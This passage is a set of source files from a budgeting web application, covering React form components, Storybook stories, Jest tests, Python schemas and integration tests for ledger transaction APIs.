"repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { Field } from 'formik';\nimport { TextField } from 'formik-material-ui';\nimport React from 'react';\nimport * as yup from 'yup';\n\nimport MoneyInputField from 'common/components/MoneyInputField';\nimport { EnvelopeSelectField } from 'features/envelopes';\n\nconst PeriodicExpenseForm = () => (\n <>\n <Field\n autoComplete='off'\n autoFocus\n component={TextField}\n fullWidth\n id='expense-name'\n label='Name'\n margin='normal'\n name='name'\n placeholder='Expense name'\n required\n variant='outlined'\n />\n <Field\n component={EnvelopeSelectField}\n fullWidth\n id='expense-envelope-id'\n label='Envelope'\n margin='normal'\n name='envelopeId'\n required\n variant='outlined'\n />\n <Field\n component={MoneyInputField}\n fullWidth\n id='expense-amount'\n label='Amount'\n margin='normal'\n name='amount'\n required\n variant='outlined'\n />\n </>\n);\n\nPeriodicExpenseForm.initialValues = {\n name: '',\n envelopeId: 0,\n amount: 0,\n};\n\nPeriodicExpenseForm.validationSchema = yup.object().shape({\n name: yup.string().required('Required'),\n envelopeId: yup.number().min(1, 'Required').required('Required'),\n amount: yup.number().typeError('Required').min(1, 'Must be a positive amount'),\n});\n\nexport default PeriodicExpenseForm;\n" }, { "alpha_fraction": 0.761904776096344, "alphanum_fraction": 0.761904776096344, "avg_line_length": 20, "blob_id": "e68cf56f4ab5303b2dd6211f0a67f9342b8e3b75", "content_id": "247d3ec895e2abd168cab608d99fdedf392da522", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 147, "license_type": "permissive", "max_line_length": 39, "num_lines": 7, "path": "/backend/underbudget/database.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Global database instance \"\"\"\nfrom flask_migrate import Migrate\nfrom flask_sqlalchemy import SQLAlchemy\n\n\ndb = SQLAlchemy()\nmigrate = Migrate()\n" }, { "alpha_fraction": 0.6423913240432739, "alphanum_fraction": 0.665217399597168, "avg_line_length": 26.878787994384766, "blob_id": "4888f56b8b4d2bfe32608cf07c5bca5698474931", "content_id": "06064117e0a69264fb2d3dd16ea65a0375bef1e7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 920, "license_type": "permissive", "max_line_length": 66, "num_lines": 33, "path": "/webapp/src/features/budgets/components/__stories__/IncomesList.stories.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { action } from '@storybook/addon-actions';\nimport React from 'react';\n\nimport AppProviders from 'common/components/AppProviders';\nimport { standardLedgerResponses } from 'test/setupMockApi';\nimport IncomesList from '../IncomesList';\n\nexport default {\n title: 'budgets/IncomesList',\n component: IncomesList,\n decorators: [(story) => <AppProviders>{story()}</AppProviders>],\n parameters: { api: { get: standardLedgerResponses } },\n};\n\nconst Template = (args) => <IncomesList {...args} />;\n\nexport const NoIncomes = Template.bind({});\nNoIncomes.args = {\n incomes: [],\n onDelete: action('delete'),\n type: 'periodic',\n};\n\nexport const SeveralIncomes = Template.bind({});\nSeveralIncomes.args = {\n incomes: [\n { id: 1, name: 'Income 1', amount: 123456 },\n { id: 2, name: 'Income 2', amount: 10000 },\n { id: 3, name: 'Income 3', amount: 3700 },\n ],\n onDelete: action('delete'),\n type: 'periodic',\n};\n" }, { "alpha_fraction": 0.7643171548843384, "alphanum_fraction": 0.7643171548843384, "avg_line_length": 31.428571701049805, "blob_id": "8010db993633f4cabb68dedca1a48128ece96da5", "content_id": "a82864bb2922e35de3b47aa5c704b5ca672dff23", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 454, "license_type": "permissive", "max_line_length": 68, "num_lines": 14, "path": "/webapp/src/features/envelopes/components/EnvelopeCategorySelectField.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "// Disable rule because this is a generic component\n/* eslint-disable react/jsx-props-no-spreading */\n\nimport React from 'react';\n\nimport EntitySelectField from 'common/components/EntitySelectField';\nimport useEnvelopes from '../hooks/useEnvelopes';\n\nconst EnvelopeCategorySelectField = (props) => {\n const { categories } = useEnvelopes();\n return <EntitySelectField {...props} entities={categories} />;\n};\n\nexport default EnvelopeCategorySelectField;\n" }, { "alpha_fraction": 0.6624068021774292, "alphanum_fraction": 0.6698615550994873, "avg_line_length": 25.08333396911621, "blob_id": "497bc4e34a39df9dbffba4b31716d931d68fe904", "content_id": "05f43cf447728ad8d626a249f6323f3b21e459d2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 939, "license_type": "permissive", "max_line_length": 63, "num_lines": 36, "path": "/webapp/src/features/ledgers/components/__stories__/CreateDemoLedgerDialog.stories.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { action } from '@storybook/addon-actions';\nimport axios from 'axios';\nimport MockAdapter from 'axios-mock-adapter';\nimport React from 'react';\n\nimport AppProviders from 'common/components/AppProviders';\nimport CreateDemoLedgerDialog from '../CreateDemoLedgerDialog';\n\nexport default {\n title: 'ledgers/CreateDemoLedgerDialog',\n component: CreateDemoLedgerDialog,\n decorators: [\n (story) => story({ mock: new MockAdapter(axios) }),\n (story) => <AppProviders>{story()}</AppProviders>,\n ],\n};\n\nexport const Success = (_, { mock }) => {\n mock.onPost('/api/demos').reply((req) => {\n action('request')(req);\n return [201];\n });\n return <CreateDemoLedgerDialog />;\n};\n\nexport const Failure = (_, { mock }) => {\n mock.onPost('/api/demos').reply(400);\n return <CreateDemoLedgerDialog />;\n};\n\nexport const Mobile = Success.bind({});\nMobile.story = {\n parameters: {\n viewport: { defaultViewport: 'mobile1' },\n },\n};\n" }, { "alpha_fraction": 0.6399999856948853, "alphanum_fraction": 0.6762162446975708, "avg_line_length": 37.94736862182617, "blob_id": "6fe40bb2178e10b24db6a2f7feff9fbd84499a65", "content_id": "a73ca59dcbaa6d2d3fda2fe0d12f36195cc02723", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 3704, "license_type": "permissive", "max_line_length": 96, "num_lines": 95, "path": "/webapp/src/common/components/MoneyInputField/MoneyInputField.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { render as baseRender, screen, waitFor } from '@testing-library/react';\nimport userEvent from '@testing-library/user-event';\nimport axios from 'axios';\nimport MockAdapter from 'axios-mock-adapter';\nimport { Field, Form, Formik } from 'formik';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\nimport { MemoryRouter } from 'react-router-dom';\n\nimport setSelectedLedger from '../../utils/setSelectedLedger';\nimport MoneyInputField from './MoneyInputField';\n\nconst render = ({ currency = 840, fieldArgs = {}, initialValue = 0 } = {}) => {\n setSelectedLedger(2);\n\n const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });\n\n const mockAxios = new MockAdapter(axios);\n mockAxios.onGet('/api/ledgers/2').reply(200, { currency });\n\n const handleSubmit = jest.fn();\n\n const renderResults = baseRender(\n <QueryClientProvider client={queryClient}>\n <MemoryRouter>\n <Formik initialValues={{ field: initialValue }} onSubmit={handleSubmit}>\n <Form>\n <Field {...fieldArgs} component={MoneyInputField} name='field' />\n <button type='submit'>Submit</button>\n </Form>\n </Formik>\n </MemoryRouter>\n </QueryClientProvider>,\n );\n\n const textbox = screen.getByRole('textbox');\n\n return {\n ...renderResults,\n handleSubmit,\n mockAxios,\n textbox,\n };\n};\n\ntest('should display initial value when zero', async () => {\n const { textbox } = render();\n expect(textbox).toHaveValue('0.00');\n await waitFor(() => expect(textbox).toHaveValue('$0.00'));\n});\n\ntest('should display initial value when positive', async () => {\n const { textbox } = render({ initialValue: 12345678 });\n expect(textbox).toHaveValue('123,456.78');\n await waitFor(() => expect(textbox).toHaveValue('$123,456.78'));\n});\n\ntest('should display initial value when negative', async () => {\n const { textbox } = render({ initialValue: -54321 });\n expect(textbox).toHaveValue('-543.21');\n await waitFor(() => expect(textbox).toHaveValue('-$543.21'));\n});\n\ntest('should display initial value when euro currency', async () => {\n const { textbox } = render({ currency: 978, initialValue: 8675309 });\n expect(textbox).toHaveValue('86,753.09');\n await waitFor(() => expect(textbox).toHaveValue('€86,753.09'));\n});\n\ntest('should display initial value when currency uses alternate number of digits', async () => {\n const { textbox } = render({ currency: '048', initialValue: 8675309 });\n expect(textbox).toHaveValue('86,753.09');\n await waitFor(() => expect(textbox).toHaveValue('.د.ب8,675.309'));\n});\n\ntest('input value is properly scaled', async () => {\n const { handleSubmit, textbox } = render({ initialValue: 8675309 });\n await waitFor(() => expect(textbox).toHaveValue('$86,753.09'));\n // I had a lot of difficulty trying to use userEvent.type to enter a\n // value into the textbox. It is most likely some kind of issue because\n // the textbox value is re-formatted after every change, and the caret\n // position is probably affected and that messes things up...\n // So this approach (clear then paste) at least lets me test how the\n // field stores the value into formik state--which is the only part\n // I _really_ need to test (we'd assume that react-number-format will\n // correct work with a real user/browser).\n userEvent.clear(textbox);\n await waitFor(() => expect(textbox).toHaveValue(''));\n userEvent.paste(textbox, '1234.56');\n await waitFor(() => expect(textbox).toHaveValue('$1,234.56'));\n userEvent.click(screen.getByRole('button'));\n await waitFor(() =>\n expect(handleSubmit).toHaveBeenCalledWith({ field: 123456 }, expect.any(Object)),\n );\n});\n" }, { "alpha_fraction": 0.725944995880127, "alphanum_fraction": 0.725944995880127, "avg_line_length": 35.375, "blob_id": "4fde7bb099872b3ecd47ce711a1c56519d6bee75", "content_id": "175d2d2c0ed6eca65002b2a1f0ec5c13f5e1181b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1164, "license_type": "permissive", "max_line_length": 82, "num_lines": 32, "path": "/backend/underbudget/schemas/reconciliation.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Reconciliation schemas \"\"\"\nfrom marshmallow import Schema, fields\n\n\nclass BaseReconciliationSchema(Schema):\n \"\"\" Reconciliation schema \"\"\"\n\n id = fields.Integer(dump_only=True)\n account_id = fields.Integer(data_key=\"accountId\", dump_only=True)\n beginning_balance = fields.Integer(data_key=\"beginningBalance\", required=True)\n beginning_date = fields.Date(data_key=\"beginningDate\", required=True)\n ending_balance = fields.Integer(data_key=\"endingBalance\", required=True)\n ending_date = fields.Date(data_key=\"endingDate\", required=True)\n created = fields.DateTime(dump_only=True)\n last_updated = fields.DateTime(data_key=\"lastUpdated\", dump_only=True)\n\n\nclass CreateReconciliationSchema(BaseReconciliationSchema):\n \"\"\" Reconciliation creation schema \"\"\"\n\n transaction_ids = fields.List(fields.Integer(), data_key=\"transactionIds\")\n\n\nclass ReconciliationPageSchema(Schema):\n \"\"\" Paginated reconciliations schema \"\"\"\n\n items = fields.List(\n fields.Nested(BaseReconciliationSchema), data_key=\"reconciliations\"\n )\n page = fields.Integer()\n per_page = fields.Integer(data_key=\"size\")\n total = fields.Integer()\n" }, { "alpha_fraction": 0.6059210300445557, "alphanum_fraction": 0.612500011920929, "avg_line_length": 21.686567306518555, "blob_id": "11bc7da570efa49c653ebb455e3f5f6ed84ddf4b", "content_id": "39598a18af09c00569351160b2b4ba21f385c61d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1520, "license_type": "permissive", "max_line_length": 96, "num_lines": 67, "path": "/webapp/src/common/components/PureAppPage/PureAppPage.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import Container from '@material-ui/core/Container';\nimport { makeStyles } from '@material-ui/core/styles';\nimport clsx from 'clsx';\nimport PropTypes from 'prop-types';\nimport React from 'react';\n\nconst useStyles = makeStyles((theme) => ({\n root: {\n bottom: 0,\n display: 'flex',\n left: 0,\n position: 'absolute',\n right: 0,\n top: 0,\n },\n content: {\n flexGrow: 1,\n overflow: 'auto',\n },\n appBarSpacer: theme.mixins.toolbar,\n container: {\n paddingBottom: theme.spacing(3),\n paddingTop: theme.spacing(3),\n [theme.breakpoints.down('xs')]: {\n padding: theme.spacing(0),\n },\n },\n fab: {\n paddingBottom: theme.spacing(11),\n },\n}));\n\nconst PureAppPage = ({ appBar, appDrawer, children, hasFab }) => {\n const classes = useStyles();\n return (\n <div className={classes.root}>\n {appBar}\n {appDrawer}\n <main className={classes.content} id='app-content'>\n {appBar && <div className={classes.appBarSpacer} />}\n <Container\n className={clsx(classes.container, {\n [classes.fab]: hasFab,\n })}\n maxWidth='lg'\n >\n {children}\n </Container>\n </main>\n </div>\n );\n};\n\nPureAppPage.propTypes = {\n appBar: PropTypes.node,\n appDrawer: PropTypes.node,\n children: PropTypes.oneOfType([PropTypes.node, PropTypes.arrayOf(PropTypes.node)]).isRequired,\n hasFab: PropTypes.bool,\n};\n\nPureAppPage.defaultProps = {\n appBar: null,\n appDrawer: null,\n hasFab: false,\n};\n\nexport default PureAppPage;\n" }, { "alpha_fraction": 0.36432796716690063, "alphanum_fraction": 0.40590178966522217, "avg_line_length": 35.96875, "blob_id": "b436027cf3ef131b5979463ed5bc97d44641d36b", "content_id": "e287f6383efc6302f316bc49274065c89b349d55", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 13013, "license_type": "permissive", "max_line_length": 88, "num_lines": 352, "path": "/backend/underbudget/tests/test_transaction_modification.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Integration tests for transaction modification APIs \"\"\"\nfrom jsonpath_ng.ext import parse\nfrom parameterized import parameterized\n\nfrom underbudget.tests.base import BaseTestCase\n\n\ndef get(values, index, fallback):\n \"\"\"\n Gets the specified index value from the list, or the fallback value if\n index is out of bounds\n \"\"\"\n if index < len(values):\n return values[index]\n return fallback\n\n\nclass TransactionModificationTestCase(BaseTestCase):\n \"\"\" Integration tests for transaction modification APIs \"\"\"\n\n @parameterized.expand(\n [\n (400, \"Payee\", \"Unit Testers\"),\n (400, \"payee\", \"\"),\n (400, \"payee\", None),\n (200, \"payee\", \"Unit Testers\"),\n ]\n )\n def test_transaction_requires_valid_payee(self, code, key, value):\n ledger_id = self.create_ledger()\n cat_id = self.create_account_category(ledger_id)\n acct_id = self.create_account(cat_id)\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/transactions\",\n json={\n \"recordedDate\": \"2021-01-24\",\n \"payee\": \"orig\",\n \"accountTransactions\": [\n {\n \"accountId\": acct_id,\n \"amount\": 0,\n },\n ],\n },\n )\n assert resp.status_code == 201\n trn_id = resp.json[\"id\"]\n\n resp = self.client.patch(\n f\"/api/transactions/{trn_id}\",\n json={\n \"recordedDate\": \"2021-01-24\",\n key: value,\n },\n )\n assert resp.status_code == code\n\n @parameterized.expand(\n [\n (400, \"RecordedDate\", \"2021-01-24\"),\n (400, \"recordeddate\", \"2021-01-24\"),\n (400, \"recordedDate\", \"\"),\n (400, \"recordedDate\", None),\n (400, \"recordedDate\", \"yesterday\"),\n (400, \"recordedDate\", \"01/24/2021\"),\n (400, \"recordedDate\", \"2021-01-24T00:00:00\"),\n (200, \"recordedDate\", \"2021-01-24\"),\n ]\n )\n def test_transaction_requires_valid_recorded_date(self, code, key, value):\n ledger_id = self.create_ledger()\n cat_id = self.create_account_category(ledger_id)\n acct_id = self.create_account(cat_id)\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/transactions\",\n json={\n \"payee\": \"Unit Testers\",\n \"recordedDate\": \"2021-01-01\",\n \"accountTransactions\": [\n {\n \"accountId\": acct_id,\n \"amount\": 0,\n },\n ],\n },\n )\n assert resp.status_code == 201\n trn_id = resp.json[\"id\"]\n\n resp = self.client.patch(\n f\"/api/transactions/{trn_id}\",\n json={\n \"payee\": \"Unit Testers\",\n key: value,\n },\n )\n assert resp.status_code == code\n\n def create_transaction(self, acct_amounts, env_amounts):\n \"\"\" Creates a transaction \"\"\"\n ledger_id = self.create_ledger()\n acct_cat_id = self.create_account_category(ledger_id)\n acct_id = self.create_account(acct_cat_id)\n env_cat_id = self.create_envelope_category(ledger_id)\n env_id = self.create_envelope(env_cat_id)\n\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/transactions\",\n json={\n \"recordedDate\": \"2021-01-24\",\n \"payee\": \"Unit Testers\",\n \"accountTransactions\": [\n {\n \"accountId\": acct_id,\n \"amount\": amount,\n }\n for amount in acct_amounts\n ],\n \"envelopeTransactions\": [\n {\n \"envelopeId\": env_id,\n \"amount\": amount,\n }\n for amount in env_amounts\n ],\n },\n )\n assert resp.status_code == 201\n trn_id = resp.json[\"id\"]\n\n resp = self.client.get(f\"/api/transactions/{trn_id}\")\n assert resp.status_code == 200\n acct_trn_ids = [\n m.value for m in parse(\"accountTransactions[*].id\").find(resp.json)\n ]\n env_trn_ids = [\n m.value for m in parse(\"envelopeTransactions[*].id\").find(resp.json)\n ]\n\n return (\n {\n \"ledger_id\": ledger_id,\n \"acct_cat_id\": acct_cat_id,\n \"acct_id\": acct_id,\n \"env_cat_id\": env_cat_id,\n \"env_id\": env_id,\n \"trn_id\": trn_id,\n \"acct_trn_ids\": acct_trn_ids,\n \"env_trn_ids\": env_trn_ids,\n },\n resp.json,\n )\n\n @parameterized.expand(\n [\n # Splitting account transactions\n (400, [10], [10], [2], [], [], [], [], []),\n (400, [10], [10], [-2], [], [], [], [], []),\n (200, [10], [10], [2], [], [8], [], [], []),\n (200, [10], [10], [2], [], [], [12], [], []),\n (200, [10], [10], [3, 3], [], [4], [], [], []),\n (200, [-10], [-10], [-2], [], [], [-12], [], []),\n (200, [-10], [-10], [-3, -3], [], [-4], [], [], []),\n # Splitting envelope transactions\n (400, [10], [10], [], [2], [], [], [], []),\n (400, [10], [10], [], [-2], [], [], [], []),\n (200, [10], [10], [], [2], [], [8], [], []),\n (200, [10], [10], [], [2], [12], [], [], []),\n (200, [10], [10], [], [3, 3], [], [4], [], []),\n (200, [-10], [-10], [], [-2], [-12], [], [], []),\n (200, [-10], [-10], [], [-3, -3], [], [-4], [], []),\n # Adjusting account transactions\n (400, [10, -10], [], [], [], [11], [], [], []),\n (200, [10, -10], [], [], [], [11, -11], [], [], []),\n # Adjusting envelope transactions\n (400, [], [10, -10], [], [], [], [11], [], []),\n (200, [], [10, -10], [], [], [], [11, -11], [], []),\n # Consolidating account transactions\n (400, [8, 2], [10], [], [], [], [], [1], []),\n (200, [8, 2], [10], [], [], [10], [], [1], []),\n (200, [8, 2], [10], [], [], [], [2], [0], []),\n # Consolidating envelope transactions\n (400, [-10], [-8, -2], [], [], [], [], [], [1]),\n (200, [-10], [-8, -2], [], [], [], [-10], [], [1]),\n (200, [-10], [-8, -2], [], [], [-2], [], [], [0]),\n # Replacing/converting\n (200, [10], [10], [-5], [-5], [], [], [0], [0]),\n (200, [10, -10], [], [], [-5, 5], [], [], [0, 1], []),\n # Invalid IDs\n (404, [10], [10], [], [], [8, 2], [], [], []),\n (404, [10], [10], [], [], [], [8, 2], [], []),\n (404, [10], [10], [], [], [], [], [1], []),\n (404, [10], [10], [], [], [], [], [], [1]),\n ]\n )\n # pylint: disable=too-many-arguments\n def test_transaction_modifications_require_balanced_amounts(\n self,\n code,\n init_acct_amounts,\n init_env_amounts,\n add_acct_amounts,\n add_env_amounts,\n mod_acct_amounts,\n mod_env_amounts,\n del_acct_idxs,\n del_env_idxs,\n ):\n ids, _ = self.create_transaction(init_acct_amounts, init_env_amounts)\n\n resp = self.client.patch(\n f\"/api/transactions/{ids['trn_id']}\",\n json={\n \"recordedDate\": \"2021-01-24\",\n \"payee\": \"Unit Testers\",\n \"accountTransactions\": {\n \"add\": [\n {\n \"accountId\": ids[\"acct_id\"],\n \"amount\": amount,\n }\n for amount in add_acct_amounts\n ],\n \"modify\": [\n {\n \"id\": get(ids[\"acct_trn_ids\"], index, 999),\n \"accountId\": ids[\"acct_id\"],\n \"amount\": amount,\n }\n for index, amount in enumerate(mod_acct_amounts)\n ],\n \"delete\": [\n get(ids[\"acct_trn_ids\"], index, 999) for index in del_acct_idxs\n ],\n },\n \"envelopeTransactions\": {\n \"add\": [\n {\n \"envelopeId\": ids[\"env_id\"],\n \"amount\": amount,\n }\n for amount in add_env_amounts\n ],\n \"modify\": [\n {\n \"id\": get(ids[\"env_trn_ids\"], index, 999),\n \"envelopeId\": ids[\"env_id\"],\n \"amount\": amount,\n }\n for index, amount in enumerate(mod_env_amounts)\n ],\n \"delete\": [\n get(ids[\"env_trn_ids\"], index, 999) for index in del_env_idxs\n ],\n },\n },\n )\n assert resp.status_code == code\n\n @parameterized.expand(\n [\n (200, \"same\", \"same\"),\n (400, None, \"same\"),\n (400, \"same\", None),\n (400, \"\", \"same\"),\n (400, \"same\", \"\"),\n (404, 0, \"same\"),\n (404, \"same\", 0),\n (404, -1, \"same\"),\n (404, \"same\", -1),\n (404, 999, \"same\"),\n (404, \"same\", 999),\n (400, \"other\", \"same\"),\n (400, \"same\", \"other\"),\n (200, \"like\", \"same\"),\n (200, \"same\", \"like\"),\n ]\n )\n def test_transaction_modifications_require_accounts_and_envelopes_from_save_ledger(\n self, code, acct_id, env_id\n ):\n ids, _ = self.create_transaction([10], [10])\n\n if acct_id == \"same\":\n acct_id = ids[\"acct_id\"]\n elif acct_id == \"like\":\n cat_id = self.create_account_category(ids[\"ledger_id\"])\n acct_id = self.create_account(cat_id)\n elif acct_id == \"other\":\n ledger_id = self.create_ledger()\n cat_id = self.create_account_category(ledger_id)\n acct_id = self.create_account(cat_id)\n\n if env_id == \"same\":\n env_id = ids[\"env_id\"]\n elif env_id == \"like\":\n cat_id = self.create_envelope_category(ids[\"ledger_id\"])\n env_id = self.create_envelope(cat_id)\n elif env_id == \"other\":\n ledger_id = self.create_ledger()\n cat_id = self.create_envelope_category(ledger_id)\n env_id = self.create_envelope(cat_id)\n\n resp = self.client.patch(\n f\"/api/transactions/{ids['trn_id']}\",\n json={\n \"recordedDate\": \"2021-01-24\",\n \"payee\": \"Unit Testers\",\n \"accountTransactions\": {\n \"modify\": [\n {\n \"id\": ids[\"acct_trn_ids\"][0],\n \"accountId\": acct_id,\n \"amount\": 10,\n },\n ],\n },\n \"envelopeTransactions\": {\n \"modify\": [\n {\n \"id\": ids[\"env_trn_ids\"][0],\n \"envelopeId\": env_id,\n \"amount\": 10,\n },\n ],\n },\n },\n )\n assert resp.status_code == code\n\n def test_transaction_deletion(self):\n ids, _ = self.create_transaction([10], [10])\n assert self.client.get(f\"/api/transactions/{ids['trn_id']}\").status_code == 200\n assert (\n self.client.delete(f\"/api/transactions/{ids['trn_id']}\").status_code == 204\n )\n assert self.client.get(f\"/api/transactions/{ids['trn_id']}\").status_code == 404\n\n def test_account_deletion_fails_when_transactions_exist(self):\n ids, _ = self.create_transaction([10], [10])\n assert self.client.delete(f\"/api/accounts/{ids['acct_id']}\").status_code == 409\n\n def test_envelope_deletion_fails_when_transactions_exist(self):\n ids, _ = self.create_transaction([10], [10])\n assert self.client.delete(f\"/api/envelopes/{ids['env_id']}\").status_code == 409\n\n def test_ledger_deletion_cascades_to_transactions(self):\n ids, _ = self.create_transaction([10], [10])\n\n assert self.client.get(f\"/api/transactions/{ids['trn_id']}\").status_code == 200\n assert self.client.delete(f\"/api/ledgers/{ids['ledger_id']}\").status_code == 204\n assert self.client.get(f\"/api/transactions/{ids['trn_id']}\").status_code == 404\n" }, { "alpha_fraction": 0.5320877432823181, "alphanum_fraction": 0.5515840649604797, "avg_line_length": 20.224138259887695, "blob_id": "21562af1963b10acf7440e8162171ce0a7fdc844", "content_id": "fa5a95c224a98d9f2892d5e5dea903a52cf3b84c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1231, "license_type": "permissive", "max_line_length": 68, "num_lines": 58, "path": "/webapp/src/features/budgets/components/__stories__/ActiveBudgetsList.stories.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\n\nimport setSelectedLedger from 'common/utils/setSelectedLedger';\nimport ActiveBudgetsList from '../ActiveBudgetsList';\n\nexport default {\n title: 'budgets/ActiveBudgetsList',\n component: ActiveBudgetsList,\n decorators: [\n (story) => {\n setSelectedLedger(2);\n return story();\n },\n ],\n};\n\nconst Template = () => <ActiveBudgetsList />;\n\nexport const FetchError = Template.bind({});\n\nexport const NoBudgets = Template.bind({});\nNoBudgets.parameters = {\n api: {\n get: [['/api/ledgers/2/active-budgets', { activeBudgets: [] }]],\n },\n};\n\nexport const OneBudget = Template.bind({});\nOneBudget.parameters = {\n api: {\n get: [\n [\n '/api/ledgers/2/active-budgets',\n {\n activeBudgets: [{ id: 7, name: 'My Budget', year: 2021 }],\n },\n ],\n ],\n },\n};\n\nexport const SeveralBudgets = Template.bind({});\nSeveralBudgets.parameters = {\n api: {\n get: [\n [\n '/api/ledgers/2/active-budgets',\n {\n activeBudgets: [\n { id: 7, name: 'My Budget', year: 2020 },\n { id: 7, name: 'My Budget', year: 2021 },\n { id: 3, name: 'Old Budget', year: 2019 },\n ],\n },\n ],\n ],\n },\n};\n" }, { "alpha_fraction": 0.7395209670066833, "alphanum_fraction": 0.7395209670066833, "avg_line_length": 29.363636016845703, "blob_id": "4b52814a39103505894835ac89f44c7f62abf9c1", "content_id": "8140030f144582b9eaf09d367f12b3664c099556", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 668, "license_type": "permissive", "max_line_length": 73, "num_lines": 22, "path": "/webapp/src/features/accounts/components/CreateAccountCategoryDialog.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\n\nimport FormDialog from '../../../common/components/FormDialog';\nimport useCreateAccountCategory from '../hooks/useCreateAccountCategory';\nimport AccountCategoryForm from './AccountCategoryForm';\n\nconst CreateAccountCategoryDialog = () => {\n const { mutate } = useCreateAccountCategory();\n return (\n <FormDialog\n actionText='Create'\n disableFullScreen\n FormComponent={AccountCategoryForm}\n initialValues={AccountCategoryForm.initialValues}\n onSubmit={mutate}\n title='Create Category'\n validationSchema={AccountCategoryForm.validationSchema}\n />\n );\n};\n\nexport default CreateAccountCategoryDialog;\n" }, { "alpha_fraction": 0.5907928347587585, "alphanum_fraction": 0.6018755435943604, "avg_line_length": 22.459999084472656, "blob_id": "fff8df2631efcb8e43d0a6d444b04df3cafd0a67", "content_id": "b65668681dac446140df6daff361e4e13957e32c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1173, "license_type": "permissive", "max_line_length": 98, "num_lines": 50, "path": "/webapp/src/common/components/NumberInputField/NumberInputField.stories.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { Field, Formik } from 'formik';\nimport React from 'react';\n\nimport NumberInputField from './NumberInputField';\n\nexport default {\n title: 'common/NumberInputField',\n component: NumberInputField,\n};\n\nexport const DefaultProps = () => (\n <Formik initialValues={{ field: 0 }}>\n <>\n <Field name='field' component={NumberInputField} />\n </>\n </Formik>\n);\n\nexport const TextFieldProps = () => (\n <Formik initialValues={{ field: 0 }}>\n <>\n <Field name='field' component={NumberInputField} helperText='A number' label='Number' />\n </>\n </Formik>\n);\n\nexport const Formatted = () => (\n <Formik initialValues={{ field: 123456.789 }}>\n <>\n <Field\n name='field'\n component={NumberInputField}\n numberInputProps={{ decimalScale: 2, prefix: '>', suffix: 'ft', thousandSeparator: true }}\n />\n <Field name='field' />\n </>\n </Formik>\n);\n\nexport const FormError = () => (\n <Formik\n initialErrors={{ field: 'number is bad' }}\n initialTouched={{ field: true }}\n initialValues={{ field: 0 }}\n >\n <>\n <Field name='field' component={NumberInputField} helperText='help text' />\n </>\n </Formik>\n);\n" }, { "alpha_fraction": 0.7399868965148926, "alphanum_fraction": 0.7399868965148926, "avg_line_length": 30.72916603088379, "blob_id": "f3cfbb3ce4a10ce1f79ae1b0cea2c6c82e6adb83", "content_id": "b67a8d5bb3d7fd9ce237261b5b02aa8e2abec9c3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1523, "license_type": "permissive", "max_line_length": 81, "num_lines": 48, "path": "/webapp/src/features/budgets/components/ModifyPeriodicExpenseDialog.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import PropTypes from 'prop-types';\nimport React from 'react';\nimport { useParams } from 'react-router-dom';\n\nimport FormDialog from 'common/components/FormDialog';\nimport useNavigateKeepingSearch from 'common/hooks/useNavigateKeepingSearch';\nimport useFetchPeriodicExpense from '../hooks/useFetchPeriodicExpense';\nimport useModifyPeriodicExpense from '../hooks/useModifyPeriodicExpense';\nimport PeriodicExpenseForm from './PeriodicExpenseForm';\n\nconst ModifyPeriodicExpenseDialog = ({ budgetId, onExitNavigateTo }) => {\n const navigate = useNavigateKeepingSearch();\n const { expenseId } = useParams();\n const { data, isLoading } = useFetchPeriodicExpense(\n { id: expenseId },\n { onError: () => navigate(onExitNavigateTo) },\n );\n const expense = {\n ...PeriodicExpenseForm.initialValues,\n ...data,\n };\n const { mutate } = useModifyPeriodicExpense(budgetId);\n\n return (\n <FormDialog\n actionText='Save'\n enableReinitialize\n FormComponent={PeriodicExpenseForm}\n initialValues={expense}\n isLoading={isLoading}\n onExitNavigateTo={onExitNavigateTo}\n onSubmit={mutate}\n title='Modify Periodic Expense'\n validationSchema={PeriodicExpenseForm.validationSchema}\n />\n );\n};\n\nModifyPeriodicExpenseDialog.propTypes = {\n budgetId: PropTypes.oneOfType([PropTypes.number, PropTypes.string]).isRequired,\n onExitNavigateTo: PropTypes.string,\n};\n\nModifyPeriodicExpenseDialog.defaultProps = {\n onExitNavigateTo: '../..',\n};\n\nexport default 